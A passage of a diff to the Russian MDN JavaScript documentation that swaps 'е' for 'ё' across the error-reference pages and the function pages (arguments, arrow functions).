+++ b/files/ru/web/javascript/reference/errors/in_operator_no_object/index.html
@@ -1,6 +1,6 @@
 ---
 title: >-
-  TypeError: cannot use 'in' operator to search for 'x' in 'y'(не удается
+  TypeError: cannot use 'in' operator to search for 'x' in 'y'(не удаётся
   использовать 'in' оператор поиска для 'x' в 'y')
 slug: Web/JavaScript/Reference/Errors/in_operator_no_object
 translation_of: Web/JavaScript/Reference/Errors/in_operator_no_object
@@ -43,7 +43,7 @@ TypeError: невозможно использовать оператор 'in' 
 
 
          var foo = null;
 "bar" in foo;
-// TypeError: не удается использовать оператор 'in' для поиска 'bar' в 'foo' (Chrome)
+// TypeError: не удаётся использовать оператор 'in' для поиска 'bar' в 'foo' (Chrome)
 // TypeError: правая часть 'in' должна быть объектом, полученным null (Firefox)
 
          
 
diff --git a/files/ru/web/javascript/reference/errors/index.html b/files/ru/web/javascript/reference/errors/index.html
index 21d076dbdc..41b34e5478 100644
--- a/files/ru/web/javascript/reference/errors/index.html
+++ b/files/ru/web/javascript/reference/errors/index.html
@@ -8,9 +8,9 @@ translation_of: Web/JavaScript/Reference/Errors
 ---
 
          {{jsSidebar("Errors")}}
          
 
-
          Ниже, Вы найдете список ошибок, которые возвращает JavaScript. Эти ошибки могут быть полезны при отладке, но неполадки не всегда сразу понятны. Страницы ниже  предлагают дополнительную информацию об этих ошибках. Каждая ошибка это Объект на основании {{jsxref("Error")}} object, и имеет имя (name) и сообщение (message).
          
+
          Ниже, Вы найдёте список ошибок, которые возвращает JavaScript. Эти ошибки могут быть полезны при отладке, но неполадки не всегда сразу понятны. Страницы ниже  предлагают дополнительную информацию об этих ошибках. Каждая ошибка это Объект на основании {{jsxref("Error")}} object, и имеет имя (name) и сообщение (message).
          
 
-
          Ошибки отображенные в Web консоли могут содержать ссылку на соответствующую страницу ниже, чтобы помочь вам быстро понять проблему в коде.
          
+
          Ошибки отображённые в Web консоли могут содержать ссылку на соответствующую страницу ниже, чтобы помочь вам быстро понять проблему в коде.
          
 
 
          Список ошибок
          
 
diff --git a/files/ru/web/javascript/reference/errors/invalid_const_assignment/index.html b/files/ru/web/javascript/reference/errors/invalid_const_assignment/index.html
index d658f57b73..710aa435f8 100644
--- a/files/ru/web/javascript/reference/errors/invalid_const_assignment/index.html
+++ b/files/ru/web/javascript/reference/errors/invalid_const_assignment/index.html
@@ -19,7 +19,7 @@ TypeError: повторное объявление const 'x' (IE)
 
 
          Что пошло не так?
          
 
-
          Константа-это значение, которое не может быть изменено программой в обычном исполнении. Он не может быть изменен путем повторного назначения и не может быть повторно объявлен. В JavaScript, константы объявляются с помощью ключевого слова const.
          
+
          Константа-это значение, которое не может быть изменено программой в обычном исполнении. Он не может быть изменён путём повторного назначения и не может быть повторно объявлен. В JavaScript, константы объявляются с помощью ключевого слова const.
          
 
 
          Примеры
          
 
@@ -67,7 +67,7 @@ function setupBigScreenEnvironment() {
 
 
          const и неизменность
          
 
-
          Объявление const создает ссылку только для чтения на значение. Это не означает, что значение, которое он содержит, является неизменяемым, просто идентификатор переменной не может быть переназначен. Например, если содержимое является объектом, это означает, что сам объект все еще может быть изменен. Это означает, что нельзя изменить значение, хранящееся в переменной:
          
+
          Объявление const создаёт ссылку только для чтения на значение. Это не означает, что значение, которое он содержит, является неизменяемым, просто идентификатор переменной не может быть переназначен. Например, если содержимое является объектом, это означает, что сам объект все ещё может быть изменён. Это означает, что нельзя изменить значение, хранящееся в переменной:
          
 
 
          const obj = {foo: 'bar'};
 obj = {foo: 'baz'}; // TypeError: invalid assignment to const `obj'
diff --git a/files/ru/web/javascript/reference/errors/invalid_for-in_initializer/index.html b/files/ru/web/javascript/reference/errors/invalid_for-in_initializer/index.html
index f9e91b0a53..9f0b68e84c 100644
--- a/files/ru/web/javascript/reference/errors/invalid_for-in_initializer/index.html
+++ b/files/ru/web/javascript/reference/errors/invalid_for-in_initializer/index.html
@@ -22,11 +22,11 @@ SyntaxError: объявление переменной цикла for-in мож
 
 
          Что пошло не так?
          
 
-
          Глава цикла for...in содержит выражение инициализатора. То есть переменная объявляется и присваивается значение |for (var i = 0 in obj)|. В нестрогом режиме это объявление head игнорируется и ведет себя как |for (var i in obj)|. Однако в строгом режиме создается синтаксическая ошибка.
          
+
          Глава цикла for...in содержит выражение инициализатора. То есть переменная объявляется и присваивается значение |for (var i = 0 in obj)|. В нестрогом режиме это объявление head игнорируется и ведёт себя как |for (var i in obj)|. Однако в строгом режиме создаётся синтаксическая ошибка.
          
 
 
          Примеры
          
 
-
          Данный пример дает SyntaxError:
          
+
          Данный пример даёт SyntaxError:
          
 
 
          "use strict";
 
diff --git a/files/ru/web/javascript/reference/errors/is_not_iterable/index.html b/files/ru/web/javascript/reference/errors/is_not_iterable/index.html
index c084aac4e3..5e2823d3c1 100644
--- a/files/ru/web/javascript/reference/errors/is_not_iterable/index.html
+++ b/files/ru/web/javascript/reference/errors/is_not_iterable/index.html
@@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Reference/Errors/is_not_iterable
 
          Сообщение
          
 
 
          TypeError: "x" не является итерационным (Firefox, Chrome)
-TypeError: 'x' не является функцией или ее возвращаемое значение не является итерационным (Chrome)
+TypeError: 'x' не является функцией или её возвращаемое значение не является итерационным (Chrome)
 
          
 
 
          Тип ошибки
          
@@ -17,7 +17,7 @@ TypeError: 'x' не является функцией или ее возвращ
 
 
          Что пошло не так?
          
 
-
          Значение, которое дается как правая сторона for...of или как аргумент функции, такой как {{jsxref("Promise.all")}} или {{jsxref("TypedArray.from")}}, не является итерационным объектом.  Повторяемое может быть, встроенный итератор типа, такие как {{jsxref("Array")}}, {{jsxref("String")}} или {{jsxref("Map")}}, генератор результатом, или объект, реализующий итератор протокол.
          
+
          Значение, которое даётся как правая сторона for...of или как аргумент функции, такой как {{jsxref("Promise.all")}} или {{jsxref("TypedArray.from")}}, не является итерационным объектом.  Повторяемое может быть, встроенный итератор типа, такие как {{jsxref("Array")}}, {{jsxref("String")}} или {{jsxref("Map")}}, генератор результатом, или объект, реализующий итератор протокол.
          
 
 
          Примеры
          
 
@@ -77,7 +77,7 @@ for (let x of generate) // TypeError: генерация не является 
     console.log(x);
 
          
 
-
          Если они не вызываются, то объект {{jsxref("Function")}}, соответствующий генератору, можно вызвать, но нельзя выполнить итерацию. Вызов генератора создает итерационный объект, который будет выполнять итерацию по значениям, полученным во время выполнения генератора.
          
+
          Если они не вызываются, то объект {{jsxref("Function")}}, соответствующий генератору, можно вызвать, но нельзя выполнить итерацию. Вызов генератора создаёт итерационный объект, который будет выполнять итерацию по значениям, полученным во время выполнения генератора.
          
 
 
          function* generate(a, b) {
     yield a;
diff --git a/files/ru/web/javascript/reference/errors/malformed_formal_parameter/index.html b/files/ru/web/javascript/reference/errors/malformed_formal_parameter/index.html
index 5e65f8c633..f848e5486d 100644
--- a/files/ru/web/javascript/reference/errors/malformed_formal_parameter/index.html
+++ b/files/ru/web/javascript/reference/errors/malformed_formal_parameter/index.html
@@ -39,7 +39,7 @@ var f = Function('x,', 'return x;');
 // SyntaxError (лишняя запятая)
 
 var f = Function(37, "alert('OK')");
-// SyntaxError (числа не могут использоваться в качестве имен аргументов)
+// SyntaxError (числа не могут использоваться в качестве имён аргументов)
 
          
 
 
          Правильный код
          
diff --git a/files/ru/web/javascript/reference/errors/missing_bracket_after_list/index.html b/files/ru/web/javascript/reference/errors/missing_bracket_after_list/index.html
index 32035a2365..12acf53f79 100644
--- a/files/ru/web/javascript/reference/errors/missing_bracket_after_list/index.html
+++ b/files/ru/web/javascript/reference/errors/missing_bracket_after_list/index.html
@@ -24,7 +24,7 @@ translation_of: Web/JavaScript/Reference/Errors/Missing_bracket_after_list
 
 
          Примеры
          
 
-
          Незавершенный инициализатор массива
          
+
          Незавершённый инициализатор массива
          
 
 
          var list = [1, 2,
 
diff --git a/files/ru/web/javascript/reference/errors/missing_colon_after_property_id/index.html b/files/ru/web/javascript/reference/errors/missing_colon_after_property_id/index.html
index 856d2fe526..00012ea3c4 100644
--- a/files/ru/web/javascript/reference/errors/missing_colon_after_property_id/index.html
+++ b/files/ru/web/javascript/reference/errors/missing_colon_after_property_id/index.html
@@ -55,7 +55,7 @@ obj['propertyKey'] = 'value';
 
 
          Вычисляемые свойства
          
 
-
          Если вы создаете ключ свойства из выражения, то вам необходимо использовать квадратные скобки. В противном случае имя свойства не будет вычислено:
          
+
          Если вы создаёте ключ свойства из выражения, то вам необходимо использовать квадратные скобки. В противном случае имя свойства не будет вычислено:
          
 
 
          var obj = { 'b'+'ar': 'foo' };
 // SyntaxError: missing : after property id
diff --git a/files/ru/web/javascript/reference/errors/missing_curly_after_function_body/index.html b/files/ru/web/javascript/reference/errors/missing_curly_after_function_body/index.html
index 0d971440c7..0f3c17df1f 100644
--- a/files/ru/web/javascript/reference/errors/missing_curly_after_function_body/index.html
+++ b/files/ru/web/javascript/reference/errors/missing_curly_after_function_body/index.html
@@ -46,12 +46,12 @@ translation_of: Web/JavaScript/Reference/Errors/Missing_curly_after_function_bod
   }
 };
          
 
-
          Еще больше путаницы может внести использование {{Glossary("IIFE")}}, замыканий и прочих конструкций, где используется большое количество различных скобок:
          
+
          Ещё больше путаницы может внести использование {{Glossary("IIFE")}}, замыканий и прочих конструкций, где используется большое количество различных скобок:
          
 
 
          (function() { if (true) { return false; } );
 
          
 
-
          Зачастую облегчить поиск ошибок можно, проверив отступы еще раз или расставив их по-другому.
          
+
          Зачастую облегчить поиск ошибок можно, проверив отступы ещё раз или расставив их по-другому.
          
 
 
          (function() {
   if (true) {
diff --git a/files/ru/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html b/files/ru/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html
index 1b84367f61..fd7d0ca039 100644
--- a/files/ru/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html
+++ b/files/ru/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html
@@ -20,7 +20,7 @@ translation_of: Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argume
 
 
          Примеры
          
 
-
          Из-за отсутствия оператора конкатенации "+", JavaScript ожидает аргумент функции log просто "PI: ". В этом случае, он должен быть заключен в закрывающие скобки.
          
+
          Из-за отсутствия оператора конкатенации "+", JavaScript ожидает аргумент функции log просто "PI: ". В этом случае, он должен быть заключён в закрывающие скобки.
          
 
 
          console.log('PI: ' Math.PI);
 // SyntaxError: missing ) after argument list
diff --git a/files/ru/web/javascript/reference/errors/no_variable_name/index.html b/files/ru/web/javascript/reference/errors/no_variable_name/index.html
index 9ac5f9cb6e..0791d91708 100644
--- a/files/ru/web/javascript/reference/errors/no_variable_name/index.html
+++ b/files/ru/web/javascript/reference/errors/no_variable_name/index.html
@@ -35,7 +35,7 @@ SyntaxError: Unexpected token = (Chrome)
          
 
 
          Зарезервированные ключевые слова не могут использоваться как имена переменных
          
 
-
          Есть несколько имен, которые являются зарезервированными ключевыми словами. Их нельзя использовать. Увы :(
          
+
          Есть несколько имён, которые являются зарезервированными ключевыми словами. Их нельзя использовать. Увы :(
          
 
 
          var debugger = "whoop";
 // SyntaxError: missing variable name
diff --git a/files/ru/web/javascript/reference/errors/non_configurable_array_element/index.html b/files/ru/web/javascript/reference/errors/non_configurable_array_element/index.html
index b298844d17..9f932a969a 100644
--- a/files/ru/web/javascript/reference/errors/non_configurable_array_element/index.html
+++ b/files/ru/web/javascript/reference/errors/non_configurable_array_element/index.html
@@ -1,6 +1,6 @@
 ---
 title: >-
-  TypeError: can't delete non-configurable array element(Тип ошибки:не удается
+  TypeError: can't delete non-configurable array element(Тип ошибки:не удаётся
   удалить настраиваемый элемент массива)
 slug: Web/JavaScript/Reference/Errors/Non_configurable_array_element
 translation_of: Web/JavaScript/Reference/Errors/Non_configurable_array_element
@@ -9,8 +9,8 @@ translation_of: Web/JavaScript/Reference/Errors/Non_configurable_array_element
 
 
          Сообщения
          
 
-
          TypeError: не удается удалить не настраиваемый элемент массива (Firefox)
-TypeError: не удается удалить свойство '2' из [массива объектов] (Chrome)
+
          TypeError: не удаётся удалить не настраиваемый элемент массива (Firefox)
+TypeError: не удаётся удалить свойство '2' из [массива объектов] (Chrome)
 
          
 
 
          Тип ошибки
          
@@ -33,14 +33,14 @@ TypeError: не удается удалить свойство '2' из [мас
 
 
          Не настраиваемые свойства, созданные Object.defineProperty
          
 
-
          The {{jsxref("Object.defineProperty()")}} создает не настраиваемые свойства по умолчанию, если они не указаны как настраиваемые.
          
+
          The {{jsxref("Object.defineProperty()")}} создаёт не настраиваемые свойства по умолчанию, если они не указаны как настраиваемые.
          
 
 
          var arr = [];
 Object.defineProperty(arr, 0, {value: 0});
 Object.defineProperty(arr, 1, {value: "1"});
 
 arr.length = 1;
-// TypeError: не удается удалить не настраиваемый элемент массива
+// TypeError: не удаётся удалить не настраиваемый элемент массива
 
          
 
 
          Вам нужно будет установить элементы как конфигурируемые, если вы собираетесь сократить массив.
          
diff --git a/files/ru/web/javascript/reference/errors/not_a_codepoint/index.html b/files/ru/web/javascript/reference/errors/not_a_codepoint/index.html
index 0b72d6c50f..1d1decf231 100644
--- a/files/ru/web/javascript/reference/errors/not_a_codepoint/index.html
+++ b/files/ru/web/javascript/reference/errors/not_a_codepoint/index.html
@@ -18,7 +18,7 @@ RangeError: Invalid code point {0} (Chrome)
 
 
          Что пошло не так?
          
 
-
          Метод {{jsxref("String.fromCodePoint()")}} выдает ошибку, если ему было передано значение {{jsxref("NaN")}}, отрицательное целое число (-1), нецелое число (5.4) или значение, которое превышает 0x10FFFF (1114111).
          
+
          Метод {{jsxref("String.fromCodePoint()")}} выдаёт ошибку, если ему было передано значение {{jsxref("NaN")}}, отрицательное целое число (-1), нецелое число (5.4) или значение, которое превышает 0x10FFFF (1114111).
          
 
 
          Кодовая точка (code point) – это значение в кодовом пространстве Unicode, то есть диапазон целых чисел от 0 до 0x10FFFF.
          
 
diff --git a/files/ru/web/javascript/reference/errors/not_a_constructor/index.html b/files/ru/web/javascript/reference/errors/not_a_constructor/index.html
index e9c3aafb29..68f9144938 100644
--- a/files/ru/web/javascript/reference/errors/not_a_constructor/index.html
+++ b/files/ru/web/javascript/reference/errors/not_a_constructor/index.html
@@ -71,7 +71,7 @@ var obj = new f;
 
 
          В Обещаниях (Promises)
          
 
-
          В случае, когда возвращается незамедлительно разрешенное или незамедлительно отклоненное Обещание, Вам не нужно создавать новое Обещание new Promise(...) и работать с ним.
          
+
          В случае, когда возвращается незамедлительно разрешённое или незамедлительно отклонённое Обещание, Вам не нужно создавать новое Обещание new Promise(...) и работать с ним.
          
 
 
          Это неправильно (конструктор Обещания вызывается неправильно) и будет вызывать исключение TypeError: this is not a constructor:
          
 
diff --git a/files/ru/web/javascript/reference/errors/not_defined/index.html b/files/ru/web/javascript/reference/errors/not_defined/index.html
index 818c3c00d4..2169f9ffa3 100644
--- a/files/ru/web/javascript/reference/errors/not_defined/index.html
+++ b/files/ru/web/javascript/reference/errors/not_defined/index.html
@@ -36,7 +36,7 @@ foo.substring(1); // "ar"
          
 
 
          Неправильная зона доступности
          
 
-
          Переменная должна быть доступна в текущем контексте исполнения. Переменные, определенные внутри функции не могут быть доступны из любой точки за пределами функции, так как переменная определена только в области видимости самой функции.
          
+
          Переменная должна быть доступна в текущем контексте исполнения. Переменные, определённые внутри функции не могут быть доступны из любой точки за пределами функции, так как переменная определена только в области видимости самой функции.
          
 
 
          function numbers () {
   var num1 = 2,
@@ -46,7 +46,7 @@ foo.substring(1); // "ar"
          
 
 console.log(num1); // ReferenceError num1 is not defined.
          
 
-
          Тем не менее, функция может получить доступ ко всем переменным и функциям, определенным в области видимости, в которой она определена.  Другими словами, функция, определенная в глобальной области может получить доступ ко всем переменным, определенным в глобальном масштабе.
          
+
          Тем не менее, функция может получить доступ ко всем переменным и функциям, определённым в области видимости, в которой она определена.  Другими словами, функция, определённая в глобальной области может получить доступ ко всем переменным, определённым в глобальном масштабе.
          
 
 
          var num1 = 2,
     num2 = 3;
diff --git a/files/ru/web/javascript/reference/errors/read-only/index.html b/files/ru/web/javascript/reference/errors/read-only/index.html
index 4675e8008f..2616d68809 100644
--- a/files/ru/web/javascript/reference/errors/read-only/index.html
+++ b/files/ru/web/javascript/reference/errors/read-only/index.html
@@ -10,8 +10,8 @@ translation_of: Web/JavaScript/Reference/Errors/Read-only
 
          TypeError: назначение свойств только для чтения не допускается в строгом режиме (Edge)
 TypeError: "x" доступен только для чтения (Firefox)
 TypeError: 0 доступен только для чтения (Firefox)
-TypeError: не удается назначить только для чтения свойство "x" из #<объект> (Chrome)
-TypeError: не удается назначить только для чтения свойство '0' [массив объектов] (Chrome)
+TypeError: не удаётся назначить только для чтения свойство "x" из #<объект> (Chrome)
+TypeError: не удаётся назначить только для чтения свойство '0' [массив объектов] (Chrome)
 
          
 
 
          Тип ошибки
          
diff --git a/files/ru/web/javascript/reference/errors/redeclared_parameter/index.html b/files/ru/web/javascript/reference/errors/redeclared_parameter/index.html
index 781ea495ec..dbf5ae9fba 100644
--- a/files/ru/web/javascript/reference/errors/redeclared_parameter/index.html
+++ b/files/ru/web/javascript/reference/errors/redeclared_parameter/index.html
@@ -21,7 +21,7 @@ SyntaxError: Identifier "x" has already been declared (Chrome)
 
 
          Что пошло не так?
          
 
-
          Одно и то же имя переменной сначала использовано в качестве параметра, а потом объявлено еще раз в теле функции с помощью оператора присваивания let. В JavaScript не допустимо переопределение переменной в рамках области видимости функции или блока при помощи let.
          
+
          Одно и то же имя переменной сначала использовано в качестве параметра, а потом объявлено ещё раз в теле функции с помощью оператора присваивания let. В JavaScript не допустимо переопределение переменной в рамках области видимости функции или блока при помощи let.
          
 
 
          Примеры
          
 
@@ -34,7 +34,7 @@ SyntaxError: Identifier "x" has already been declared (Chrome)
 // SyntaxError: redeclaration of formal parameter "arg"
 
          
 
-
          Если вы хотите изменить значение переменной "arg" в теле функции, это можно сделать, но для этого не требуется объявлять эту же переменную еще раз. Иначе говоря, ключевое слово let можно опустить. Если же вы хотите создать новую переменную, необходимо ее переименовать, поскольку в противном случае она вступает в конфликт с уже существующим параметром функции.
          
+
          Если вы хотите изменить значение переменной "arg" в теле функции, это можно сделать, но для этого не требуется объявлять эту же переменную ещё раз. Иначе говоря, ключевое слово let можно опустить. Если же вы хотите создать новую переменную, необходимо её переименовать, поскольку в противном случае она вступает в конфликт с уже существующим параметром функции.
          
 
 
          function f(arg) {
   arg = 'foo';
diff --git a/files/ru/web/javascript/reference/errors/reserved_identifier/index.html b/files/ru/web/javascript/reference/errors/reserved_identifier/index.html
index 28c0df1add..91cedeb38d 100644
--- a/files/ru/web/javascript/reference/errors/reserved_identifier/index.html
+++ b/files/ru/web/javascript/reference/errors/reserved_identifier/index.html
@@ -60,7 +60,7 @@ var list = ["potatoes", "rice", "fries"];
          
 
 
          Обновление старых браузеров
          
 
-
          Например, если вы используете старый браузер, в котором еще не реализована функция let или class, вам следует перейти на более новую версию браузера, которая поддерживает данные языковые функции.
          
+
          Например, если вы используете старый браузер, в котором ещё не реализована функция let или class, вам следует перейти на более новую версию браузера, которая поддерживает данные языковые функции.
          
 
 
          "use strict";
 class DocArchiver {}
diff --git a/files/ru/web/javascript/reference/errors/strict_non_simple_params/index.html b/files/ru/web/javascript/reference/errors/strict_non_simple_params/index.html
index 48917edbc1..9f76e774c7 100644
--- a/files/ru/web/javascript/reference/errors/strict_non_simple_params/index.html
+++ b/files/ru/web/javascript/reference/errors/strict_non_simple_params/index.html
@@ -23,7 +23,7 @@ SyntaxError: Illegal 'use strict' directive in function with non-simple paramete
 
          Перевод:
          
 
 
          Edge:
-Не удается применить строгий режим к функциям со списком, содержащим сложные параметры
+Не удаётся применить строгий режим к функциям со списком, содержащим сложные параметры
 
 Firefox:
 Ошибка синтаксиса: "use strict" не допускается в функции с параметром по умолчанию
@@ -74,7 +74,7 @@ function sum(a = 1, b = 2) {
 
 
          Функция выражения
          
 
-
          Выражение функции может использовать еще один обходной путь:
          
+
          Выражение функции может использовать ещё один обходной путь:
          
 
 
          var sum = function sum([a, b]) {
   // SyntaxError: "use strict" не допускается в функции с параметром деструктурирования
diff --git a/files/ru/web/javascript/reference/errors/unexpected_token/index.html b/files/ru/web/javascript/reference/errors/unexpected_token/index.html
index 52b6bca2de..62f6dd9db2 100644
--- a/files/ru/web/javascript/reference/errors/unexpected_token/index.html
+++ b/files/ru/web/javascript/reference/errors/unexpected_token/index.html
@@ -25,7 +25,7 @@ SyntaxError: expected '=>' after argument list, got "x"
 
 
          Что пошло не так?
          
 
-
          Вместо определенной конструкции языка было использовано что-то другое. Возможно, просто опечатка.
          
+
          Вместо определённой конструкции языка было использовано что-то другое. Возможно, просто опечатка.
          
 
 
          Примеры
          
 
@@ -39,7 +39,7 @@ SyntaxError: expected '=>' after argument list, got "x"
 // SyntaxError: expected expression, got ';'
 
          
 
-
          Правильным вариантом будет убрать запятую или добавить еще одно выражение:
          
+
          Правильным вариантом будет убрать запятую или добавить ещё одно выражение:
          
 
 
          for (let i = 0; i < 5; ++i) {
   console.log(i);
diff --git a/files/ru/web/javascript/reference/errors/unexpected_type/index.html b/files/ru/web/javascript/reference/errors/unexpected_type/index.html
index c8ccbe028f..43015841f0 100644
--- a/files/ru/web/javascript/reference/errors/unexpected_type/index.html
+++ b/files/ru/web/javascript/reference/errors/unexpected_type/index.html
@@ -25,7 +25,7 @@ TypeError: "x" is not a symbol
 
 
          Встречен неожиданный тип. Это часто случается со значениями {{jsxref("null")}} или {{jsxref("undefined")}}.
          
 
-
          Так же, некоторые методы, такие как {{jsxref("Object.create()")}} или {{jsxref("Symbol.keyFor()")}}, требуют определенный тип, который должен быть предоставлен.
          
+
          Так же, некоторые методы, такие как {{jsxref("Object.create()")}} или {{jsxref("Symbol.keyFor()")}}, требуют определённый тип, который должен быть предоставлен.
          
 
 
          Примеры
          
 
@@ -39,7 +39,7 @@ var foo = null;
 foo.substring(1); // TypeError: foo is null
 
 
-// Некоторые методы могут требовать определенный тип
+// Некоторые методы могут требовать определённый тип
 var foo = {}
 Symbol.keyFor(foo); // TypeError: foo is not a symbol
 
diff --git a/files/ru/web/javascript/reference/errors/unnamed_function_statement/index.html b/files/ru/web/javascript/reference/errors/unnamed_function_statement/index.html
index 0c950c014e..c4f442f49e 100644
--- a/files/ru/web/javascript/reference/errors/unnamed_function_statement/index.html
+++ b/files/ru/web/javascript/reference/errors/unnamed_function_statement/index.html
@@ -18,7 +18,7 @@ SyntaxError: непредвиденный токен ( [Chrome]
 
 
          Что пошло не так?
          
 
-
          В коде есть оператор function, для которого требуется имя. Вам нужно будет проверить, как определены функции и нужно ли предоставить для них имя, или если рассматриваемая функция должна быть выражением функции, {{Glossary("IIFE")}}, или если код функции вообще правильно размещен в этом контексте.
          
+
          В коде есть оператор function, для которого требуется имя. Вам нужно будет проверить, как определены функции и нужно ли предоставить для них имя, или если рассматриваемая функция должна быть выражением функции, {{Glossary("IIFE")}}, или если код функции вообще правильно размещён в этом контексте.
          
 
 
          Примеры
          
 
@@ -38,7 +38,7 @@ SyntaxError: непредвиденный токен ( [Chrome]
   return 'Hello world';
 };
          
 
-
          Или, ваша функция возможно, предназначена для IIFE (немедленно вызываемое выражение функции), которое является функцией, которая запускается, как только она определена. В этом случае вам понадобится еще несколько брекетов:
          
+
          Или, ваша функция возможно, предназначена для IIFE (немедленно вызываемое выражение функции), которое является функцией, которая запускается, как только она определена. В этом случае вам понадобится ещё несколько брекетов:
          
 
 
          (function () {
 
diff --git a/files/ru/web/javascript/reference/errors/unterminated_string_literal/index.html b/files/ru/web/javascript/reference/errors/unterminated_string_literal/index.html
index ea9aca3e65..dd817a5407 100644
--- a/files/ru/web/javascript/reference/errors/unterminated_string_literal/index.html
+++ b/files/ru/web/javascript/reference/errors/unterminated_string_literal/index.html
@@ -1,5 +1,5 @@
 ---
-title: 'SyntaxError: unterminated string literal(незавершенный строковый литерал)'
+title: 'SyntaxError: unterminated string literal(незавершённый строковый литерал)'
 slug: Web/JavaScript/Reference/Errors/Unterminated_string_literal
 translation_of: Web/JavaScript/Reference/Errors/Unterminated_string_literal
 ---
@@ -34,7 +34,7 @@ SyntaxError: незадействованный строковый литера
 
          var longString = 'Это очень длинная строка, которая нуждается
                   перенос через несколько строк, потому что
                   в противном случае мой код нечитаем.";
-// SyntaxError: незавершенный строковый литерал
          
+// SyntaxError: незавершённый строковый литерал
          
 
 
          Вместо этого используйте оператор+, обратную косую черту или литералы шаблона. Вариант оператора + выглядит следующим образом:
          
 
@@ -50,7 +50,7 @@ SyntaxError: незадействованный строковый литера
                   в противном случае мой код нечитаем.";
 
          
 
-
          Еще одна возможность-использовать шаблонные литералы, поддерживаемые в средах ECMAScript 2015:
          
+
          Ещё одна возможность-использовать шаблонные литералы, поддерживаемые в средах ECMAScript 2015:
          
 
 
          var longString = `Это очень длинная строка, которая нуждается
                   в переносе через несколько строк, потому что
diff --git a/files/ru/web/javascript/reference/errors/var_hides_argument/index.html b/files/ru/web/javascript/reference/errors/var_hides_argument/index.html
index 91953a36c8..5b7c3d1f8e 100644
--- a/files/ru/web/javascript/reference/errors/var_hides_argument/index.html
+++ b/files/ru/web/javascript/reference/errors/var_hides_argument/index.html
@@ -24,7 +24,7 @@ original_slug: Web/JavaScript/Reference/Errors/Переменные_скрыва
 
 
           
          
 
-
          То же имя переменной происходит в качестве параметра функции, и затем повторно объявляется с помощью назначения var в теле функции. Это может быть конфликт имен, поэтому JavaScript предупреждает об этом.
          
+
          То же имя переменной происходит в качестве параметра функции, и затем повторно объявляется с помощью назначения var в теле функции. Это может быть конфликт имён, поэтому JavaScript предупреждает об этом.
          
 
 
          Эта ошибка возникает как предупреждение только в коде строгого режима. В нестрогом коде повторное объявление игнорируется.
          
 
diff --git a/files/ru/web/javascript/reference/functions/arguments/callee/index.html b/files/ru/web/javascript/reference/functions/arguments/callee/index.html
index eaf41af79d..5326296bdd 100644
--- a/files/ru/web/javascript/reference/functions/arguments/callee/index.html
+++ b/files/ru/web/javascript/reference/functions/arguments/callee/index.html
@@ -29,7 +29,7 @@ translation_of: Web/JavaScript/Reference/Functions/arguments/callee
 
 
           
          
 
-
          Действительно незаменимым оно остается всего в одной ситуации. Когда мы создаем анонимную функцию напрямую через конструктор Function.
          
+
          Действительно незаменимым оно остаётся всего в одной ситуации. Когда мы создаём анонимную функцию напрямую через конструктор Function.
          
 
 
          var b = new Function("", "alert(typeof arguments.callee)");
          
 
diff --git a/files/ru/web/javascript/reference/functions/arguments/index.html b/files/ru/web/javascript/reference/functions/arguments/index.html
index b23710eba0..db4f25e9b6 100644
--- a/files/ru/web/javascript/reference/functions/arguments/index.html
+++ b/files/ru/web/javascript/reference/functions/arguments/index.html
@@ -105,7 +105,7 @@ console.log(typeof arguments[0]);
          
   return args.join(separator);
 }
          
 
-
          Вы можете передать любое количество аргументов в эту функцию. Она создает строку, используя каждый аргумент:
          
+
          Вы можете передать любое количество аргументов в эту функцию. Она создаёт строку, используя каждый аргумент:
          
 
 
          // возвращает "red, orange, blue"
 myConcat(", ", "red", "orange", "blue");
@@ -118,7 +118,7 @@ myConcat(". ", "sage", "basil", "oregano", "pepper", "parsley");
          
 
 
           Функция, создающая HTML списки
          
 
-
          В данном примере приведена функция, которая создает строку с HTML-разметкой для списка. Единственный ее аргумент - строка, определяющая вид списка: если его значение равно "u", формируется неупорядоченный (маркированный) список, а если "o", то упорядоченный (нумерованный):
          
+
          В данном примере приведена функция, которая создаёт строку с HTML-разметкой для списка. Единственный её аргумент - строка, определяющая вид списка: если его значение равно "u", формируется неупорядоченный (маркированный) список, а если "o", то упорядоченный (нумерованный):
          
 
 
          function list(type) {
   var result = "<" + type + "l><li>";
@@ -148,7 +148,7 @@ myConcat(". ", "sage", "basil", "oregano", "pepper", "parsley");
          
 }
 foo(1, 2, 3); // { "0": 1, "1": 2, "2": 3 }
          
 
-
          Тем не менее, в нестрогих функциях соответствие между их аргументами и объектом arguments существует только в том случае, если функция не содержит никаких оставшихся параметров, параметров по умолчанию или деструктурированных параметров. Например, в функции, приведенной ниже, используется параметр по умолчанию, и в данном случае возвращаемый результат будет равен 10, а не 100:
          
+
          Тем не менее, в нестрогих функциях соответствие между их аргументами и объектом arguments существует только в том случае, если функция не содержит никаких оставшихся параметров, параметров по умолчанию или деструктурированных параметров. Например, в функции, приведённой ниже, используется параметр по умолчанию, и в данном случае возвращаемый результат будет равен 10, а не 100:
          
 
 
          function bar(a=1) {
   arguments[0] = 100;
@@ -164,7 +164,7 @@ myConcat(". ", "sage", "basil", "oregano", "pepper", "parsley");
          
 }
 zoo(10); // 100
          
 
-
          На самом деле, если оставшиеся параметры, параметры по умолчанию или деструктурированные параметры не используются, формальные аргументы будут ссылаться на последние значения объекта arguments, при считывании значений формальных аргументов будут считаны последние данные из arguments, а при изменении значений формальных аргументов будет обновлен и объект arguments. Пример приведен в коде ниже:
          
+
          На самом деле, если оставшиеся параметры, параметры по умолчанию или деструктурированные параметры не используются, формальные аргументы будут ссылаться на последние значения объекта arguments, при считывании значений формальных аргументов будут считаны последние данные из arguments, а при изменении значений формальных аргументов будет обновлён и объект arguments. Пример приведён в коде ниже:
          
 
 
          function func(a, b) {
     arguments[0] = 90;
diff --git a/files/ru/web/javascript/reference/functions/arrow_functions/index.html b/files/ru/web/javascript/reference/functions/arrow_functions/index.html
index bd2cc34fe1..6df06beb79 100644
--- a/files/ru/web/javascript/reference/functions/arrow_functions/index.html
+++ b/files/ru/web/javascript/reference/functions/arrow_functions/index.html
@@ -66,7 +66,7 @@ f();  // 6
 
 elements.map(function(element) {
   return element.length;
-}); // Это выражение вернет массив [8, 6, 7, 9]
+}); // Это выражение вернёт массив [8, 6, 7, 9]
 
 // Функцию выше можно записать как стрелочную функцию:
